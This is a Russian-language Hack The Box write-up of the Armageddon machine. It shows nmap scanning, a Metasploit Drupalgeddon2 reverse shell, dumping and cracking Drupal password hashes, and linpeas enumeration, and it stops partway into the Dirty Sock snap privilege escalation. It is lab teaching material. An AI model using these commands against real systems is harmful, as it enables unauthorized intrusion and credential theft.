Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этой статье мы попентестим сайт под управлением Drupal, а затем проэксплуатируем нашумевшую в свое время уязвимость Dirty Sock. Поможет нам в этом легкая по заявленному уровню сложности машина Armageddon с площадки Hack The Box.
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Адрес машины — 10.10.10.233, не забываем добавить его в /etc/hosts
и присвоим имя armageddon.htb
.
И сразу же сканируем порты. Привожу свой традиционный скрипт, основанный на Nmap:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Результат работы скрипта
По результатам сканирования имеем два открытых порта: 22 (служба SSH) и 80 (веб‑сервер Apache).
Нашли веб‑сервер — сразу же идем смотреть, что за сайт на нем развернут.
Стартовая страница сайта
Нас встречает Drupal — одна из популярнейших систем управления контентом (CMS). В ней наверняка найдутся известные уязвимости.
Для Drupal также есть специальное средство сканирования, которое поможет найти уязвимости, — droopescan. Установим программу и выполним сканирование в 32 потока.
git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt
python3 droopescan scan drupal -u http://armageddon.htb -t 32
Результат работы скрипта
Droopescan нашел установленные плагины, темы и вероятную версию CMS. Первым делом стоит проверить, есть ли для обнаруженной версии готовые эксплоиты. Надежнее всего искать при помощи Google, а также на специализированных сайтах — HackerOne, Exploit-DB и GitHub.
Поиск эксплоитов в Google
Но если ты пользуешься Kali, то Exploit-DB у тебя уже есть и в данном случае достаточно запустить утилиту searchsploit, чтобы найти сразу несколько эксплоитов.
searchsploit Drupal
Эксплоиты, найденные searchsploit
Видим, что хост содержит известную уязвимость Drupalgeddon 2, что даст нам удаленное выполнение кода (RCE). Пометка Metasploit означает, что эксплоит уже реализован для Metasploit Framework, и, так как это удобнее, будем использовать его.
info
Подробный анализ принципов работы уязвимости читай в статье «Друпалгеддон-2. Подробно разбираем новую уязвимость в Drupal».
Когда необходимый модуль найден, стоит глянуть, какие ему нужно задавать параметры (команда show options
).
Поиск эксплоита Drupalgeddon2 в Metasploit Framework
Опции модуля drupal_drupalgeddon2
Таким образом, следует указать целевой хост для атаки, а также адрес локального хоста и порт для обратного подключения.
use exploit/unix/webapp/drupal_drupalgeddon2set RHOSTS armageddon.htbset LHOST 10.10.14.86set LPORT 80run
Выполнение эксплоита Drupalgeddon2
И мы получаем оболочку, где можем выполнять команды на удаленном хосте. Правда, пока только в контексте учетной записи пользователя‑службы.
Так как на хосте развернут веб‑сервер, а на нем работает даже целая CMS, то первое наше действие — попробовать получить какие‑нибудь учетные данные пользователей. Высока вероятность, что эти учетки подойдут и для локальных пользователей в системе. В случае с Drupal есть место, где учетные данные есть всегда, — файл с настройками для подключения к базе данных default/settings.php
.
Содержимое директории default
Содержимое файла settings.php
Эти учетные данные позволяют подключиться к базе данных и получить другие критические данные пользователей. Сперва командой shell
получим командную оболочку на удаленной машине, после чего выполним подключение к базе данных MySQL с полученными учетными данными.
mysql -u drupaluser -h localhost -p
В случае с Drupal нас интересуют данные из таблицы users
базы drupal
.
use drupal;select name,pass from users;show;
Данные из таблицы users базы drupal
Находим хеш пароля пользователя brucetherealadmin
. А как мы узнаем из файла /etc/passwd
, данный пользователь является системным.
Содержимое файла /etc/passwd
Давай переберем этот пароль с помощью hashcat. Сначала узнаем, какой режим использовать, а потом передадим его номер через параметр -m
.
hashcat --example | grep -A2 -B2 '$S'hashcat -m 7900 -a 0 hash.txt ../tools/rockyou.txt
Определение типа хеша
Результат перебора хеша
Мы успешно перебираем полученный хеш и узнаем пароль пользователя. И после подключения по SSH забираем первый флаг.
Флаг пользователя
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Источников информации очень много, и, чтобы не перебирать их вручную, я обычно использую скрипты PEASS. Они автоматически проходят систему в поисках зацепок для повышения привилегий. Загрузим на локальный хост скрипт для Linux.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь нужно загрузить его на удаленный хост. Для этого можно использовать стандартные средства SSH. После загрузки необходимо дать право на выполнение и выполнить скрипт.
scp ../tools/linpeas.sh [email protected]:/tmp/
chmod +x /tmp/linpeas.sh
/tmp/linpeas.sh
Результат работы скрипта
Видим, что мы можем зацепиться за настройки sudoers (sudo -l
). Пользователь brucetherealadmin
без ввода пароля может выполнить следующую команду в привилегированном контексте:
/usr/bin/snap install *
Snap — это система управления и распределения пакетов, созданная в Canonical (разработчик Ubuntu). Сами пакеты Snap представляют собой заранее скомпилированные вместе со всеми зависимостями и библиотеками приложения, которые затем исполняются в изолированной среде. Они легче и быстрее устанавливаются, могут получать последние обновления, а также более безопасны с точки зрения доступа к операционной системе и важным файлам.
Но все же приложения могут получать доступ к хосту при работе в режиме devmode. Snap использует Linux-сокет AF_UNIX
, который необходим для связи между процессами на одном компьютере. Для него установлены права 0666, что позволяет любому процессу подключаться и взаимодействовать с этим сокетом.
Источник: xakep.ru